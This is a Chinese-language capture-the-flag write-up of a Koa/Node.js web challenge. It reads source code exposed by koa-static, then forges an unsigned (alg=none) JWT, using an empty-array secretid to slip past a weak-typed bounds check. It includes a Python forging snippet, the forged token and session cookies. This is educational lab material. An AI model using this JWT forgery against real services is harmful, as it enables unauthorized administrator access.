目录
信息收集
伪造jwt
思路
poc
koa-static介绍
注册admin失败

随便注册账户登录

获取flag失败,应该需要垂直越权到admin

将用户名改为admin,保存新的cookie
eyJ1c2VybmFtZSI6ImFkbWluIiwiX2V4cGlyZSI6MTY3NTEyNzExNDMzNywiX21heEFnZSI6ODY0MDAwMDB9
刷新发现被退出登录,且没有自动进入admin,且另一个cookie'sses:aok.sig'消失。目录扫描未发现有效信息
观察到URL的login没有php后缀,初步推断应该是js框架,可能要代码审计,要找js文件。
找到app.js未发现有效信息,注意到使用了koa-static框架,node.js写的后端
路径该怎么配置?不管了先填个根目录
app.js 是直接静态映射到程序根目录的,直接访问根目录的该文件可直接看到源码
flag在/api/flag,访问该文件,失败

分析根目录的app.js
const rest = require('./rest');
const controller = require('./controller');
访问rest.js发现同样一个路径前缀 api
const pathPrefix = '/api/';
访问controller.js
function addControllers(router, dir) {fs.readdirSync(__dirname + '/' + dir).filter(f => {return f.endsWith('.js');}).forEach(f => {const mapping = require(__dirname + '/' + dir + '/' + f);addMapping(router, mapping);});
}module.exports = (dir) => {const controllers_dir = dir || 'controllers';const router = require('koa-router')();addControllers(router, controllers_dir);return router.routes();
};
访问/controllers/api.js
'GET /api/flag': async (ctx, next) => {if(ctx.session.username !== 'admin'){throw new APIError('permission error', 'permission denied');}
如果不是admin就无法查看flag
if(!username || username === 'admin'){throw new APIError('register error', 'wrong username');}
从register这里得知,无法注册admin用户
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;console.log(sid)if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {throw new APIError('login error', 'no such secret id');}const secret = global.secrets[sid];const user = jwt.verify(token, secret, {algorithm: 'HS256'});
要求 sid 不能为 undefined,null,并且必须在全局变量 secrets 数组的长度和 0 之间。
JavaScript 是一门弱类型语言,可以通过空数组与数字比较永远为真或是小数来绕过。签名算法确保恶意用户在传输过程中不会修改JWT。但是标题中的alg字段可以更改为none。一些JWT库支持无算法,即没有签名算法。当alg为none时,后端将不执行签名验证。将alg更改为none后,从JWT中删除签名数据(仅标题+’.'+ payload +’.')并将其提交给服务器。
import jwt
token = jwt.encode(
{"secretid": [],"username": "admin","pawd": "123456","iat": 1649380156
},
algorithm="none",key="").encode(encoding='utf-8')
print(token)
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTY0OTM4MDE1Nn0.

sses:aok=eyJ1c2VybmFtZSI6ImFkbWluIiwiX2V4cGlyZSI6MTY3NTEzNTc3MTQ1MSwiX21heEFnZSI6ODY0MDAwMDB9
sses:aok.sig=XxaDV0bqdBxwhoNzc5vx_dAVInc
通过Cookie Editor修改cookie
自动登录admin后点击get flag没有回显
访问/api/flag拿到flag

在网络请求中,请求往往分成两种类型,一种是静态资源,直接从服务器的文件存储中读取,一种是动态资源,一般需要先从数据库获取数据,然后经过一定的处理,最后返回给客户端。koa-static是静态资源请求中间件,静态资源例如html、js、css、jpg、png等等,不涉及其他的处理过程,只是单纯的读取文件,所以单独抽离出来。